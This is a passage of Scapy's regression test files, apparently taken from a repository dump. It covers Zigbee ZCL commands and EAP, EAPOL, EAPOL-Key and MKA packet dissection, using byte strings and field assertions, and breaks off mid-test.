pkt[ZigbeeClusterLibrary].manufacturer_specific == 0b0\nassert pkt[ZigbeeClusterLibrary].command_direction == 0b0\nassert pkt[ZigbeeClusterLibrary].disable_default_response == 0b0\nassert pkt[ZigbeeClusterLibrary].transaction_sequence == 0\nassert pkt[ZigbeeClusterLibrary].command_identifier == 0x00\nassert ZCLGeneralReadAttributes in pkt.layers()\nassert len(pkt[ZCLGeneralReadAttributes].attribute_identifiers) == 1\nassert pkt[ZCLGeneralReadAttributes].attribute_identifiers[0] == 0x0000\nassert raw(pkt[ZCLGeneralReadAttributes].payload) == b''\n\n= Zigbee - ZCL General command: Read Attributes Response\n\npkt = ZCLGeneralReadAttributesResponse(b'!\\x00\\x00 \\xc4')\nassert ZCLGeneralReadAttributesResponse in pkt.layers()\nassert len(pkt[ZCLGeneralReadAttributesResponse].read_attribute_status_record) == 1\nassert pkt[ZCLGeneralReadAttributesResponse].read_attribute_status_record[0].attribute_identifier == 0x0021\nassert pkt[ZCLGeneralReadAttributesResponse].read_attribute_status_record[0].status == 0x00\nassert pkt[ZCLGeneralReadAttributesResponse].read_attribute_status_record[0].attribute_data_type == 0x20\nassert pkt[ZCLGeneralReadAttributesResponse].read_attribute_status_record[0].attribute_value == b'\\xc4'\nassert raw(pkt[ZCLGeneralReadAttributesResponse].payload) == b''\n\n\n= Zigbee - ZCL IAS Zone command: Zone Enroll Response\n\npkt = ZCLIASZoneZoneEnrollResponse(b'\\x00:')\nassert ZCLIASZoneZoneEnrollResponse in pkt.layers()\nassert pkt[ZCLIASZoneZoneEnrollResponse].rsp_code == 0x00\nassert pkt[ZCLIASZoneZoneEnrollResponse].zone_id == 0x3a\nassert raw(pkt[ZCLIASZoneZoneEnrollResponse].payload) == b''\n"
  },
  {
    "path": "test/scapy/layers/eap.uts",
    "content": "% EAP regression tests for Scapy\n\n############\n############\n+ EAPOL class tests\n\n= EAPOL - Basic Instantiation\nraw(EAPOL()) == b'\\x01\\x00\\x00\\x00'\n\n= EAPOL - Instantiation with specific values\nraw(EAPOL(version = 3, type = 5)) == b'\\x03\\x05\\x00\\x00'\n\n= EAPOL - Dissection (1)\ns = b'\\x03\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 1\nassert eapol.len == 0\n\n= EAPOL - Dissection (2)\ns = b'\\x03\\x00\\x00\\x05\\x01\\x01\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 0\nassert eapol.len == 5\n\n= EAPOL - Dissection (3)\ns = b'\\x03\\x00\\x00\\x0e\\x02\\x01\\x00\\x0e\\x01anonymous\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 0\nassert eapol.len == 14\n\n= EAPOL - Dissection (4)\nreq = EAPOL(b'\\x03\\x00\\x00\\x05\\x01\\x01\\x00\\x05\\x01')\nans = EAPOL(b'\\x03\\x00\\x00\\x0e\\x02\\x01\\x00\\x0e\\x01anonymous')\nans.answers(req)\n\n= EAPOL - Dissection (5)\ns = b'\\x02\\x00\\x00\\x06\\x01\\x01\\x00\\x06\\r '\neapol = EAPOL(s)\nassert eapol.version == 2\nassert eapol.type == 0\nassert eapol.len == 6\nassert eapol.haslayer(EAP_TLS)\n\n= EAPOL - Dissection (6)\ns = b'\\x03\\x00\\x00<\\x02\\x9e\\x00<+\\x01\\x16\\x03\\x01\\x001\\x01\\x00\\x00-\\x03\\x01dr1\\x93ZS\\x0en\\xad\\x1f\\xbaH\\xbb\\xfe6\\xe6\\xd0\\xcb\\xec\\xd7\\xc0\\xd7\\xb9\\xa5\\xc9\\x0c\\xfd\\x98o\\xa7T \\x00\\x00\\x04\\x004\\x00\\x00\\x01\\x00\\x00\\x00'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 0\nassert eapol.len == 60\nassert eapol.haslayer(EAP_FAST)\n\n############\n############\n+ EAPOL-Key class tests\n\n= EAPOK-Key - over 802.11 - Dissection\ns = b'\\x08\\x02:\\x01\\x00\\xc0\\xcab\\xa4\\xf6\\x00\"k\\xfbI+\\x00\"k\\xfbI+\\xa0[\\xaa\\xaa\\x03\\x00\\x00\\x00\\x88\\x8e\\x02\\x03\\x00u\\x02\\x00\\x8a\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x95X{I5\\':3\\x8f\\x90\\xb1I\\xae\\x1f\\xd7-\"\\x82\\x1e\\\\$\\xefC=\\x83\\x97?M\\xd6\\xdf>\\x9b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\xdd\\x14\\x00\\x0f\\xac\\x04\\x03\\xca?d\\xca\\xed\\xdd\\xef\\xf69;\\xefX\\xd4\\x97w'\nwifi = Dot11(s)\nassert wifi[EAPOL].key_descriptor_type == 2\nassert wifi[EAPOL].encrypted_key_data == 0\nassert wifi[EAPOL].key_ack == 1\nassert wifi[EAPOL].key_type == 1\nassert wifi[EAPOL].key_descriptor_type_version == 2\nassert wifi[EAPOL].key_replay_counter == 4\nassert wifi[EAPOL].has_key_mic == 0\nassert wifi[EAPOL].key_data_length == 22\nassert len(wifi[EAPOL].key_data) == 22\n\n= EAPOL-Key - Key 1 - Dissection (1)\ns = b'\\x02\\x03\\x00\\x75\\x02\\x00\\x8a\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x6a\\xce\\x64\\xc1\\xa6\\x44\\xd2\\x7b\\x84\\xe0\\x39\\x26\\x3b\\x63\\x3b\\xc3\\x74\\xe3\\x29\\x9d\\x7d\\x45\\xe1\\xc4\\x25\\x44\\x05\\x48\\x05\\xbf\\xe5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\xdd\\x14\\x00\\x0f\\xac\\x04\\x05\\xb1\\xb6\\x8b\\x5a\\x91\\xfc\\x04\\x06\\x83\\x84\\x06\\xe8\\xd1\\x5f\\xdb'\neapol = EAPOL(s)\nassert(eapol.version == 2)\nassert(eapol.type == 3)\nassert(eapol.len == 117)\nassert(eapol.haslayer(EAPOL_KEY))\neapol_key = eapol[EAPOL_KEY]\nassert(eapol_key.key_descriptor_type == 2)\nassert(eapol_key.key_descriptor_type_version == 2)\nassert(eapol_key.key_type == 1)\nassert(eapol_key.key_length == 16)\nassert(eapol_key.install == 0)\nassert(eapol_key.key_ack == 1)\nassert(eapol_key.key_mic == b\"\\x00\" * 16)\nassert(eapol_key.secure == 0)\nassert(eapol_key.key_data_length == 22)\nassert(eapol_key.guess_key_number() == 1)\n\n= EAPOL_KEY - Key 2 - Dissection (2)\ns = b'\\x02\\x03\\x00\\x75\\x02\\x01\\x0a\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x5e\\x85\\xa7\\x9c\\xfa\\xfd\\xb0\\xea\\xa0\\x50\\x68\\x3f\\x97\\xbe\\x1b\\x66\\xde\\xf7\\xbc\\x65\\x20\\x57\\x31\\x68\\x71\\xc2\\x73\\xc5\\xae\\x47\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x91\\x89\\xcd\\xf1\\x88\\x54\\x8e\\x73\\xcd\\x37\\xd5\\x78\\x52\\x66\\x05\\x88\\x00\\x16\\x30\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x28\\x00'\neapol = EAPOL(s)\nassert(eapol.version == 2)\nassert(eapol.type == 3)\nassert(eapol.len == 117)\nassert(eapol.haslayer(EAPOL_KEY))\neapol_key = eapol[EAPOL_KEY]\nassert(eapol_key.key_descriptor_type == 2)\nassert(eapol_key.key_descriptor_type_version == 2)\nassert(eapol_key.key_type == 1)\nassert(eapol_key.key_length == 16)\nassert(eapol_key.install == 0)\nassert(eapol_key.key_ack == 0)\nassert(eapol_key.has_key_mic == 1)\nassert(eapol_key.secure == 0)\nassert(eapol_key.key_data_length == 22)\nassert(eapol_key.guess_key_number() == 2)\n\n= EAPOL_KEY - Key 3 - Dissection (3)\ns = b'\\x02\\x03\\x00\\x97\\x02\\x13\\xca\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x12\\x6a\\xce\\x64\\xc1\\xa6\\x44\\xd2\\x7b\\x84\\xe0\\x39\\x26\\x3b\\x63\\x3b\\xc3\\x74\\xe3\\x29\\x9d\\x7d\\x45\\xe1\\xc4\\x25\\x44\\x05\\x48\\x05\\xbf\\xe5\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xce\\x1f\\x1e\\x80\\xe7\\x6c\\xbf\\x4a\\x5c\\xe9\\xce\\x84\\x6d\\x20\\x7f\\x7d\\x00\\x38\\x10\\xcc\\x53\\x66\\x65\\x5f\\x7f\\xf5\\xd5\\x5a\\xf8\\xc3\\x87\\x69\\x85\\xde\\x7d\\x96\\xaa\\xfd\\x2b\\x93\\x48\\x9f\\x6c\\xdf\\x5f\\x9c\\x26\\x2b\\xe1\\xad\\x21\\xeb\\xce\\x62\\xc9\\x4d\\x88\\x97\\x1f\\xd7\\x5e\\x23\\xf6\\x96\\xf6\\xc0\\xe0\\x1e\\xf3\\x52\\x85\\xe2\\xf2\\xcc'\neapol = EAPOL(s)\nassert(eapol.version == 2)\nassert(eapol.type == 3)\nassert(eapol.len == 151)\nassert(eapol.haslayer(EAPOL_KEY))\neapol_key = eapol[EAPOL_KEY]\nassert(eapol_key.key_descriptor_type == 2)\nassert(eapol_key.key_descriptor_type_version == 2)\nassert(eapol_key.key_type == 1)\nassert(eapol_key.key_length == 16)\nassert(eapol_key.install == 1)\nassert(eapol_key.key_ack == 1)\nassert(eapol_key.has_key_mic == 1)\nassert(eapol_key.secure == 1)\nassert(eapol_key.key_data_length == 56)\nassert(eapol_key.guess_key_number() == 3)\n\n= EAPOL_KEY - Key 4 - Dissection (4)\ns = b'\\x02\\x03\\x00\\x5f\\x02\\x03\\x0a\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x60\\x5e\\x85\\xa7\\x9c\\xfa\\xfd\\xb0\\xea\\xa0\\x50\\x68\\x3f\\x97\\xbe\\x1b\\x66\\xde\\xf7\\xbc\\x65\\x20\\x57\\x31\\x68\\x71\\xc2\\x73\\xc5\\xae\\x47\\x7f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x27\\x95\\xe1\\x76\\xeb\\x6b\\xba\\xc1\\x6e\\x06\\x16\\xb4\\x14\\x94\\xd6\\x0a\\x00\\x00'\neapol = EAPOL(s)\nassert(eapol.version == 2)\nassert(eapol.type == 3)\nassert(eapol.len == 95)\nassert(eapol.haslayer(EAPOL_KEY))\neapol_key = eapol[EAPOL_KEY]\nassert(eapol_key.key_descriptor_type == 2)\nassert(eapol_key.key_descriptor_type_version == 2)\nassert(eapol_key.key_type == 1)\nassert(eapol_key.key_length == 16)\nassert(eapol_key.install == 0)\nassert(eapol_key.key_ack == 0)\nassert(eapol_key.has_key_mic == 1)\nassert(eapol_key.secure == 1)\nassert(eapol_key.key_data_length == 0)\nassert(eapol_key.key_data == b'')\nassert(eapol_key.guess_key_number() == 4)\n\n\n############\n############\n+ EAPOL-MKA class tests\n\n= EAPOL-MKA - With Basic parameter set - Dissection\neapol = None\ns = b'\\x03\\x05\\x00T\\x01\\xff\\xf0<\\x00Bh\\xa8\\x1e\\x03\\x00\\n\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\\x00\\x00\\x00\\x01\\x00\\x80\\xc2\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\xff\\x00\\x00\\x10\\xe5\\xf5j\\x86V\\\\\\xb1\\xcc\\xa9\\xb95\\x04m*Cj'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 5\nassert eapol.len == 84\nassert eapol.haslayer(MKAPDU)\nassert eapol[MKAPDU].basic_param_set.actor_member_id == b\"\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\"\nassert eapol[MKAPDU].haslayer(MKAICVSet)\nassert eapol[MKAPDU][MKAICVSet].icv == b\"\\xe5\\xf5j\\x86V\\\\\\xb1\\xcc\\xa9\\xb95\\x04m*Cj\"\n\n\n= EAPOL-MKA - With Potential Peer List parameter set - Dissection\neapol = None\ns = b'\\x03\\x05\\x00h\\x01\\x10\\xe0<\\xccN$\\xc4\\xf7\\x7f\\x00\\x80q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00}\\x00\\x80\\xc2\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x02\\x00\\x00\\x10\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\\x00\\x00\\x00\\x01\\xff\\x00\\x00\\x105\\x01\\xdc)\\xfd\\xd1\\xff\\xd55\\x9c_o\\xc9\\x9c\\xca\\xc0'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 5\nassert eapol.len == 104\nassert eapol.haslayer(MKAPDU)\nassert eapol[MKAPDU].basic_param_set.actor_member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol.haslayer(MKAPotentialPeerListParamSet)\nassert eapol[MKAPDU][MKAPotentialPeerListParamSet].member_id_message_num[0].member_id == b\"\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\"\nassert eapol[MKAPDU].haslayer(MKAICVSet)\nassert eapol[MKAPDU][MKAICVSet].icv == b\"5\\x01\\xdc)\\xfd\\xd1\\xff\\xd55\\x9c_o\\xc9\\x9c\\xca\\xc0\"\n\n= EAPOL-MKA - With Live Peer List parameter set - Dissection\neapol = None\ns = b\"\\x03\\x05\\x00h\\x01\\xffp<\\x00Bh\\xa8\\x1e\\x03\\x00\\n\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\\x00\\x00\\x00\\x02\\x00\\x80\\xc2\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x01\\x00\\x00\\x10q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x80\\xff\\x00\\x00\\x10\\xf4\\xa1d\\x18\\tD\\xa2}\\x8e'\\x0c/\\xda,\\xea\\xb7\"\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 5\nassert eapol.len == 104\nassert eapol.haslayer(MKAPDU)\nassert eapol[MKAPDU].basic_param_set.actor_member_id == b'\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7'\nassert eapol.haslayer(MKALivePeerListParamSet)\nassert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol[MKAPDU].haslayer(MKAICVSet)\nassert eapol[MKAPDU][MKAICVSet].icv == b\"\\xf4\\xa1d\\x18\\tD\\xa2}\\x8e'\\x0c/\\xda,\\xea\\xb7\"\n\n= EAPOL-MKA - With SAK Use parameter set - Dissection\neapol = None\ns = b'\\x03\\x05\\x00\\x94\\x01\\xffp<\\x00Bh\\xa8\\x1e\\x03\\x00\\n\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\\x00\\x00\\x00\\x03\\x00\\x80\\xc2\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x03\\x10\\x00(q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x10q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x83\\xff\\x00\\x00\\x10OF\\x84\\xf1@%\\x95\\xe6Fw9\\x1a\\xfa\\x03(\\xae'\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 5\nassert eapol.len == 148\nassert eapol.haslayer(MKAPDU)\nassert eapol[MKAPDU].basic_param_set.actor_member_id == b'\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7'\nassert eapol.haslayer(MKASAKUseParamSet)\nassert eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol.haslayer(MKALivePeerListParamSet)\nassert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol[MKAPDU].haslayer(MKAICVSet)\nassert eapol[MKAPDU][MKAICVSet].icv == b\"OF\\x84\\xf1@%\\x95\\xe6Fw9\\x1a\\xfa\\x03(\\xae\"\n\n= EAPOL-MKA - With Distributed SAK parameter set - Dissection\neapol = None\ns = b\"\\x03\\x05\\x00\\xb4\\x01\\x10\\xe0<\\xccN$\\xc4\\xf7\\x7f\\x00\\x80q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x81\\x00\\x80\\xc2\\x01\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x11\\x01\\x00\\x00\\x10\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\\x00\\x00\\x00\\x02\\x03\\x10\\x00(q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x10\\x00\\x1c\\x00\\x00\\x00\\x01Cz\\x05\\x88\\x9f\\xe8-\\x94W+?\\x13~\\xfb\\x016yVB?\\xbd\\xa1\\x9fu\\xff\\x00\\x00\\x10\\xb0H\\xcf\\xe0:\\xa1\\x94RD'\\x03\\xe67\\xe1Ur\"\neapol = EAPOL(s)\nassert eapol.version == 3\nassert eapol.type == 5\nassert eapol.len == 180\nassert eapol.haslayer(MKAPDU)\nassert eapol[MKAPDU].basic_param_set.actor_member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol.haslayer(MKASAKUseParamSet)\nassert eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b\"q\\x8b\\x8a9\\x86k/X\\x14\\xc9\\xdc\\xf6\"\nassert eapol.haslayer(MKALivePeerListParamSet)\nassert eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b\"\\xbcj\\x00\\x96Ywz\\x82:\\x90\\xd9\\xe7\"\nassert eapol.haslayer(MKADistributedSAKParamSet)\nassert eapol[MKADistributedSAKParamSet].sak_aes_key_wrap == b\"Cz\\x05\\x88\\x9f\\xe8-\\x94W+?\\x13~\\xfb\\x016yVB?\\xbd\\xa1\\x9fu\"\nassert eapol[MKAPDU].haslayer(MKAICVSet)\nassert eapol[MKAPDU][MKAICVSet].icv == b\"\\xb0H\\xcf\\xe0:\\xa1\\x94RD'\\x03\\xe67\\xe1Ur\"\n\n\n############\n############\n############\n+ EAP class tests\n\n= EAP - Basic Instantiation\nraw(EAP()) == b'\\x04\\x00\\x00\\x04'\n\n= EAP - Instantiation with specific values\nraw(EAP(code = 1, id = 1, len = 5, type = 1)) == b'\\x01\\x01\\x00\\x05\\x01'\n\n= EAP - Instantiation - Multiple desired authentication types\nraw(EAP(code=2, type=3, desired_auth_types=[13,21,25,43])) == b'\\x02\\x00\\x00\\t\\x03\\r\\x15\\x19+'\n\n= EAP - Dissection (1)\ns = b'\\x01\\x01\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neap = EAP(s)\nassert eap.code == 1\nassert eap.id == 1\nassert eap.len == 5\nassert hasattr(eap, \"type\")\nassert eap.type == 1\n\n= EAP - Dissection (2)\ns = b'\\x02\\x01\\x00\\x0e\\x01anonymous\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 1\nassert eap.len == 14\nassert eap.type == 1\nassert hasattr(eap, 'identity')\nassert eap.identity == b'anonymous'\n\n= EAP - Dissection (3)\ns = b'\\x01\\x01\\x00\\x06\\r '\neap = EAP(s)\nassert eap.code == 1\nassert eap.id == 1\nassert eap.len == 6\nassert eap.type == 13\nassert eap.haslayer(EAP_TLS)\nassert eap[EAP_TLS].L == 0\nassert eap[EAP_TLS].M == 0\nassert eap[EAP_TLS].S == 1\n\n= EAP - Dissection (4)\ns = b'\\x02\\x01\\x00\\xd1\\r\\x00\\x16\\x03\\x01\\x00\\xc6\\x01\\x00\\x00\\xc2\\x03\\x01UK\\x02\\xdf\\x1e\\xde5\\xab\\xfa[\\x15\\xef\\xbe\\xa2\\xe4`\\xc6g\\xb9\\xa8\\xaa%vAs\\xb2\\x1cXt\\x1c0\\xb7\\x00\\x00P\\xc0\\x14\\xc0\\n\\x009\\x008\\x00\\x88\\x00\\x87\\xc0\\x0f\\xc0\\x05\\x005\\x00\\x84\\xc0\\x12\\xc0\\x08\\x00\\x16\\x00\\x13\\xc0\\r\\xc0\\x03\\x00\\n\\xc0\\x13\\xc0\\t\\x003\\x002\\x00\\x9a\\x00\\x99\\x00E\\x00D\\xc0\\x0e\\xc0\\x04\\x00/\\x00\\x96\\x00A\\xc0\\x11\\xc0\\x07\\xc0\\x0c\\xc0\\x02\\x00\\x05\\x00\\x04\\x00\\x15\\x00\\x12\\x00\\t\\x00\\xff\\x01\\x00\\x00I\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x004\\x002\\x00\\x0e\\x00\\r\\x00\\x19\\x00\\x0b\\x00\\x0c\\x00\\x18\\x00\\t\\x00\\n\\x00\\x16\\x00\\x17\\x00\\x08\\x00\\x06\\x00\\x07\\x00\\x14\\x00\\x15\\x00\\x04\\x00\\x05\\x00\\x12\\x00\\x13\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x0f\\x00\\x10\\x00\\x11\\x00#\\x00\\x00\\x00\\x0f\\x00\\x01\\x01'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 1\nassert eap.len == 209\nassert eap.type == 13\nassert eap.haslayer(EAP_TLS)\nassert eap[EAP_TLS].L == 0\nassert eap[EAP_TLS].M == 0\nassert eap[EAP_TLS].S == 0\n\n= EAP - Dissection (5)\ns = b'\\x02\\x9e\\x00<+\\x01\\x16\\x03\\x01\\x001\\x01\\x00\\x00-\\x03\\x01dr1\\x93ZS\\x0en\\xad\\x1f\\xbaH\\xbb\\xfe6\\xe6\\xd0\\xcb\\xec\\xd7\\xc0\\xd7\\xb9\\xa5\\xc9\\x0c\\xfd\\x98o\\xa7T \\x00\\x00\\x04\\x004\\x00\\x00\\x01\\x00\\x00\\x00'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 158\nassert eap.len == 60\nassert eap.type == 43\nassert eap.haslayer(EAP_FAST)\nassert eap[EAP_FAST].L == 0\nassert eap[EAP_FAST].M == 0\nassert eap[EAP_FAST].S == 0\nassert eap[EAP_FAST].version == 1\n\n= EAP - Dissection (6)\ns = b'\\x02\\x9f\\x01L+\\x01\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00Y\\xc9\\x8a\\tcw\\t\\xdcbU\\xfd\\x035\\xcd\\x1a\\t\\x10f&[(9\\xf6\\x88W`\\xc6\\x0f\\xb3\\x84\\x15\\x19\\xf5\\tk\\xbd\\x8fp&0\\xb0\\xa4B\\x85\\x0c<:s\\xf2zT\\xc3\\xbd\\x8a\\xe4D{m\\xe7\\x97\\xfe>\\xda\\x14\\xb8T1{\\xd7H\\x9c\\xa6\\xcb\\xe3,u\\xdf\\xe0\\x82\\xe5R\\x1e<\\xe5\\x03}\\xeb\\x98\\xe2\\xf7\\x8d3\\xc6\\x83\\xac\"\\x8f\\xd7\\x12\\xe5{:\"\\x84A\\xd9\\x14\\xc2cZF\\xd4\\t\\xab\\xdar\\xc7\\xe0\\x0e\\x00o\\xce\\x05g\\xdc?\\xcc\\xf7\\xe83\\x83E\\xb3>\\xe8<3-QB\\xfd$C/\\x1be\\xcf\\x03\\xd6Q4\\xbe\\\\h\\xba)<\\x99N\\x89\\xd9\\xb1\\xfa!\\xd7a\\xef\\xa3\\xd3o\\xed8Uz\\xb5k\\xb0`\\xfeC\\xbc\\xb3aS,d\\xe6\\xdc\\x13\\xa4A\\x1e\\x9b\\r{\\xd6s \\xd0cQ\\x95y\\xc8\\x1d\\xc3\\xd9\\x87\\xf2=\\x81\\x96q~\\x99E\\xc3\\x97\\xa8px\\xe2\\xc7\\x92\\xeb\\xff/v\\x84\\x1e\\xfb\\x00\\x95#\\xba\\xfb\\xd88h\\x90K\\xa7\\xbd9d\\xb4\\xf2\\xf2\\x14\\x02vtW\\xaa\\xadY\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x97\\xc5l\\xd6\\xef\\xffcM\\x81\\x90Q\\x96\\xf6\\xfeX1\\xf7\\xfc\\x84\\xc6\\xa0\\xf6Z\\xcd\\xb6\\xe1\\xd4\\xdb\\x88\\xf9t%Q!\\xe7,~#2G-\\xdf\\x83\\xbf\\x86Q\\xa2$'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 159\nassert eap.len == 332\nassert eap.type == 43\nassert eap.haslayer(EAP_FAST)\nassert eap[EAP_FAST].L == 0\nassert eap[EAP_FAST].M == 0\nassert eap[EAP_FAST].S == 0\nassert eap[EAP_FAST].version == 1\n\n= EAP - Dissection (7)\ns = b'\\x02\\xf1\\x00\\t\\x03\\r\\x15\\x19+'\neap = EAP(s)\nassert eap.code == 2\nassert eap.id == 241\nassert eap.len == 9\nassert eap.type == 3\nassert hasattr(eap, 'desired_auth_types')\nassert eap.desired_auth_types == [13,21,25,43]\n\n= EAP - Dissection (8)\ns = 